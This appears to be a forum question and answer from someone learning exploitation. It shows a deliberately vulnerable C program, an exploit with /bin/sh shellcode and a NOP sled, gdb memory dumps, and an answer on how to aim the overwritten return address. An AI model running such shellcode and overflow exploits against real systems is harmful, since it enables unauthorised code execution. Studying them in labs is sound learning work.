I am learning ethical hacking, so I am doing simple overflow stack attack to overwrite saved return pointer. Here's my vulnerable program(compiled without canary and NX protection,
-fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0
) and program, that creates buffer(NOP__SHELLCODE__RET) and calls vulnerable program. Everything is really simple, however dont work -_-. Overflowing is working, but shellcode after it isn't performed, but saved return pointer in vulnerable program is on NOP.
Vulnerable program(command.c):
void somefunc(char **argv){
char buffer[30];
strcpy(buffer, argv[1]);
}
int main(int argc, char **argv){
if(argc==2)
somefunc(argv);
else
printf("There is no args");
printf("__RET FROM MAIN OF COMMAND__");
}
Exploit(exploit.c):
//shellcode = /bin/sh
char shellcode[]={
"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf"
"\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54"
"\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"};
int main(int argc, char **argv)
{
unsigned int mem_i , ret, *ptr, offset=0;
if(argc < 2){
printf("Usage: <exploit> offset\n");
return 0;
}
offset = atoi(argv[1]);
const char *cc = "./command";
char* buffer = (char*)malloc(200);
bzero(buffer, 200);
ret = (unsigned int)&mem_i + offset;
for(mem_i = 0; mem_i < 160; mem_i+=4) //writing data with RET(return address pointer)
*((unsigned int *)(buffer+mem_i)) = ret;
memset(buffer, 0x90, 100);// NOP Sledding
memcpy(buffer+100, shellcode, sizeof(shellcode)-1);//writing shelcode
execl(cc, cc, buffer, NULL);//exec vulnerable programm
// -----------------------------------------------------------------------------------------
// | NOP | shellcode | RET |
// -----------------------------------------------------------------------------------------
}
as I have noticed, shellcode perform /bin/sh So there's reason to look at what saying my favourite gdb ;)
----> gdb exploit
...
/*breakpoint at "execl(cc, cc, buffer, NULL);", before it performed*/
(gdb) x/64xw buffer
0x5555555592a0: 0x90909090 0x90909090 0x90909090 0x90909090/*It is NOP*/
...
0x5555555592f0: 0x90909090 0x90909090 0x90909090 0x90909090
0x555555559300: 0x90909090 '0xfe58426a 0x529948c4 0x622fbf48/*SHELLCOdE*/
0x555555559310: 0x2f2f6e69 0x54576873 0xd089495e 0x0fd28949'
0x555555559320: 0xffffde05 0xffffde44 0xffffde44 0xffffde44/*return address pointer*/
0x555555559330: 0xffffde44 0xffffde44 0xffffde44 0xffffde44
(gdb) next
/*next we are goint in command, because code calling it(execl(cc, cc, buffer, NULL)*/
(gdb) disass main
...
0x00005555555551ef <+32>: call 0x555555555169 <somefunc>
0x00005555555551f4 <+37>: jmp 0x555555555207 <main+56>/*this address somefunc()
will save as saved return pointer*/
...
(gdb) break somefunc
(gdb) cont
Breakpoint 3, somefunc (argv=0x7fffffffdee8) at command.c:8
8 strcpy(buffer, argv[1]);
(gdb) x/32xw $rsp
...
0x7fffffffddd0: 0xffffddf0 0x00007fff '0x555551f4 0x00005555'
/*it is saved return pointer, that we need to overwrite, 0x00005555555551f4)*/
...
(gdb) next
//have writed out buffer in stack
(gdb) x/64xw $rsp
...
0x7fffffffddd0: 0x90909090 0x90909090 '0x90909090 0x90909090'/*we have
overwritten saved return pointer to NOP*/
0x7fffffffdde0: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffddf0: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffde00: 0x90909090 0x90909090 0x90909090 0x90909090
/*next is going shellcode*/
0x7fffffffde10: 0x90909090 '0xfe58426a 0x529948c4 0x622fbf48
0x7fffffffde20: 0x2f2f6e69 0x54576873 0xd089495e 0x0fd28949
0x7fffffffde30: 0xffffde05' 0xffffde44 0xffffde44 0xffffde44
0x7fffffffde40: 0xffffde44 0xffffde44 0xffffde44 0xffffde44
Everything should work, because we have overwritten saved return pointer(0x00005555555551f4) to NOP, however shellcode isn't performed. What's the problem?
NOP
sled, not necessarily be a part of it.Because your overflow overwrites the return address with NOP
instructions, you're telling the victim program to return to address 0x9090909090909090
after the function completes. However, this isn't a memory address you control, so your program will most likely just SEGFAULT
.
You should instead overwrite the return pointer to point to somewhere in your NOP sled on the stack after the return pointer. At the end of the sled of NOP
instructions, your shellcode should lie.
So instead of NOP
instructions, your overwritten return pointer should be a memory address you now control, like 0x7fffffffde10
. Now the program will set the instruction pointer to your NOP
sled, which will lead to your shellcode.
And just a hint: You may need to encode the address backwards depending on the endianness of your system.
You essentially need to figure out how many bytes you need to put in the victim program's buffer until you begin to overwrite the return pointer. Once this is figured out, write another for
loop before the one for your NOP
sled that fills the buffer with padding bytes (it's common just to use the character 'A'
), then put the address that points inside your NOP
sled, then write your NOP
sled, then your shellcode.
Additional reading: https://resources.infosecinstitute.com/topic/return-oriented-programming-rop-attacks/